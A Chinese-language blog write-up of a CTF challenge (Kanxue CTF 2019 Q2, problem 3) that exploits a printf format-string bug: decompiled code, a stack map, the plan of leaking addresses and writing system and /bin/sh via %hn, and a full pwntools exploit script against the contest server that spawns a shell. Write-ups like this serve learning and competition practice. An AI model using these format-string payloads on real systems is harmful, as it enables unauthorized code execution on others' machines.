美文网首页工作生活
格式化字符串漏洞—看雪CTF2019 Q2 第三题 金字塔的诅咒

格式化字符串漏洞—看雪CTF2019 Q2 第三题 金字塔的诅咒

作者: 静析机言 | 来源:发表于2019-07-04 15:02 被阅读0次

运行checksec,保护全开。

看main代码,发现printf处有格式化字符串漏洞,可以用来读写堆栈

int __cdecl main(int argc, const char **argv, const char **envp)

{

  int v3; // eax

  char buf; // [esp+0h] [ebp-10h]

  unsigned int v6; // [esp+4h][ebp-Ch]

  int *v7; // [esp+8h] [ebp-8h]

  v7 = &argc;

  v6 = __readgsdword(0x14u);

  setvbuf(stdin, 0, 2, 0);

  setvbuf(stdout, 0, 2, 0);

  puts("Welcome to kanxue2019, your pwn like cxk");

  do

  {

    while ( 1 )

    {

      menu();

      read(0, &buf, 4u);

      v3 = atoi(&buf);

      if ( v3 != 1 )

        break;

      printf("What do touwant to say:");

      read_input((int)&echo,24);

      printf((const char*)&echo);              //存在格式化字符串漏洞

      puts((const char*)&unk_A97);

    }

  }

  while ( v3 != 2 );

  return 0;

}

利用思路:

利用格式化字符串漏洞获取程序加载基址,栈地址,libc地址的值。利用%n实现任意地址写。由于本题got表不可写,可以考虑将main函数的返回地址改写为onegadget。经过实际测试发现onegadget的某些条件不满足,因此选择将main函数返回地址改为system函数地址,ret+8处的地址指向/bin/sh,即如下格式

FFD5F0C0  5664300C  .bss:echo

FFD5F0C4  00000018  %1$x

FFD5F0C8  00000004  

FFD5F0CC  566418F3  %3$x, main+6D

FFD5F0D0  00000001  

FFD5F0D4  FFD5F194  %5$x

FFD5F0D8  FFD50A31

FFD5F0DC  36B20200  STACK_COOKIE

FFD5F0E0  FFD5F100  %8$x, SAVED_ECX

FFD5F0E4  00000000  SAVED_EBX

FFD5F0E8  00000000  SAVED_EBP

FFD5F0EC  F7D75637  %11$x, __libc_start_main+F7

...

FFD5F0FC  F7D75637  RET   //改为system地址

FFD5F100  00000000

FFD5F104    FFED5834          //改为echo全局变量地址

...

FFD5F194  FFD6128A  %53$x

对照上图,就是要将0xFFD5F0FC=system函数地址,0xFFD5F104=echo全局变量地址。

通过调试,找到一个保存在栈上的栈指针,而且这个栈指针指向的值也是栈上的地址。对照上图,FFD5F0D4保存的FFD5F194为栈指针,而FFD5F194保存的FFD6128A也是栈上的地址。

%5$hn修改这个栈地址指向的栈地址的低16位为ret_addr的低16位

%53$hn修改ret_addr的低16位为system()低16位

%5$hn修改这个栈地址指向的栈地址的低16位为ret_addr+2的低16位

%53$hn修改ret_addr高16位为system()高16位

同样道理,将ret+8修改为echo全局变量地址。

输入/bin/sh,/bin/sh将存储到echo地址。输入选项2,退出程序获得shell。

exp脚本:

# coding:utf-8

from pwn import *

from zio import *

context.log_level = 'debug'

g_libcBase = 0

g_bridgeStackAddr = 0

g_mainRetAddr = 0

g_systemFuncAddr=0

g_moudleBase = 0;

g_ehcoAddr = 0

def choice(index):

    io.sendline(str(index))

    p = io.recvuntil('What do touwant to say:')

    return p

def say(str):

    io.sendline(str)

    sleep(1)

    p = io.recvuntil('Choice:')

    return p

def GetAddrByString(str):

    choice(1)  

    p=say(str)

    return int(p[2:10], 16)

if __name__ == '__main__':

    #io = process('./format')

    io = remote('152.136.18.34',9999)  

    io.recvuntil('Choice:')

    #get addr

    g_bridgeStackAddr =GetAddrByString('%8$p')

    print 'g_bridgeStackAddr = '+ str(hex(g_bridgeStackAddr))

    g_mainRetAddr =g_bridgeStackAddr - 4

    print 'g_mainRetAddr = ' +str(hex(g_mainRetAddr))

    g_libcBase =GetAddrByString('%15$p')- 0x18637

    print 'g_libcBase = ' +str(hex(g_libcBase))

    #g_systemFuncAddr =g_libcBase + 0x3ADA0

    g_systemFuncAddr = g_libcBase+ 0x3A940

    print 'g_systemFuncAddr = ' +str(hex(g_systemFuncAddr))

    g_moudleBase =GetAddrByString('%3$p') - 0x8f3

    print 'g_moudleBase = ' +str(hex(g_moudleBase))

    g_ehcoAddr = g_moudleBase +0x200c

    print 'g_ehcoAddr = ' +str(hex(g_ehcoAddr))

    #set system call

    pyload = '%.' +str(g_mainRetAddr&0xffff) + 'x%5$hn'

    print 'pyload=' + pyload

    choice(1)

    say(pyload)

    pyload = '%.' +str(g_systemFuncAddr&0xffff) + 'x%53$hn'

    print 'pyload=' + pyload

    choice(1)

    say(pyload)

    pyload = '%.' +str((g_mainRetAddr+2)&0xffff) + 'x%5$hn'

    print 'pyload=' + pyload

    choice(1)

    say(pyload)

    pyload = '%.' +str(g_systemFuncAddr>>16) + 'x%53$hn'

    print 'pyload=' + pyload

    choice(1)

    say(pyload)

    #set echo

    g_bridgeStackAddr =g_bridgeStackAddr + 4

    pyload = '%.' +str(g_bridgeStackAddr&0xffff) + 'x%5$hn'

    print 'pyload=' + pyload

    choice(1)

    say(pyload)

    pyload = '%.' +str(g_ehcoAddr&0xffff) + 'x%53$hn'

    print 'pyload=' + pyload

    choice(1)

    say(pyload)

    pyload = '%.' +str((g_bridgeStackAddr+2)&0xffff) + 'x%5$hn'

    print 'pyload=' + pyload

    choice(1)

    say(pyload)

    pyload = '%.' +str(g_ehcoAddr>>16) + 'x%53$hn'

    print 'pyload=' + pyload

    choice(1)

    say(pyload)

    #set /bin/sh

    pyload = '/bin/sh' + p32(0)

    choice(1)

    say(pyload)

    io.sendline('2')

    io.interactive()

相关文章

  • 格式化字符串漏洞—看雪CTF2019 Q2 第三题 金字塔的诅咒

    运行checksec,保护全开。 看main代码,发现printf处有格式化字符串漏洞,可以用来读写堆栈 int ...

  • hxb2017 pwne easy format vuln

    pwntools 对格式化字符串漏洞payload的支持 这题本身没啥好记的,就是一个简单的格式化漏洞,但是有个p...

  • 格式化字符串漏洞实验(转载)

    格式化字符串漏洞实验一、 实验描述格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的,...

  • Mary_Morton

    分析: 1.该题存在着格式化字符串漏洞和栈溢出漏洞,并且通过checksec可以知道开启了cannary保护和nx...

  • 看雪CTF2019 Q2第10题 开启时间之轮

    第10题没有反调试,也没有壳,只有复杂的算法,用到了离散对数,素数,模幂等运算,看得头都大了。题目中用到了很多大整...

  • lab9

    格式化字符串漏洞,不过是有点蛇皮的格式化字符串,学到了不少新姿势 很明显的格式化字符串,但同时也可以发现,我们的输...

  • XMAN结营赛总结

    once_time 这题主要利用了格式化字符串的漏洞,另外有canary的保护,需要用到栈溢出报错的函数具体的利用...

  • isitdtuctf_pwn_wp

    babyformat x32 elf | FULL RELRP , NX , PIE 漏洞点 : 格式化字符串 限...

  • echo2

    本来以为跟上题差不多,然后还是有点麻烦的,很多细节的问题 程序还是一样的是格式化字符串漏洞 但是是64位的程序,而...

  • 攻防世界 string wp

    参考:CTF-wiki格式化字符串漏洞利用 0x01寻找漏洞 -checksec -在IDA中对文件进行分析。 查...

网友评论

    本文标题:格式化字符串漏洞—看雪CTF2019 Q2 第三题 金字塔的诅咒

    本文链接:https://www.haomeiwen.com/subject/blqrhctx.html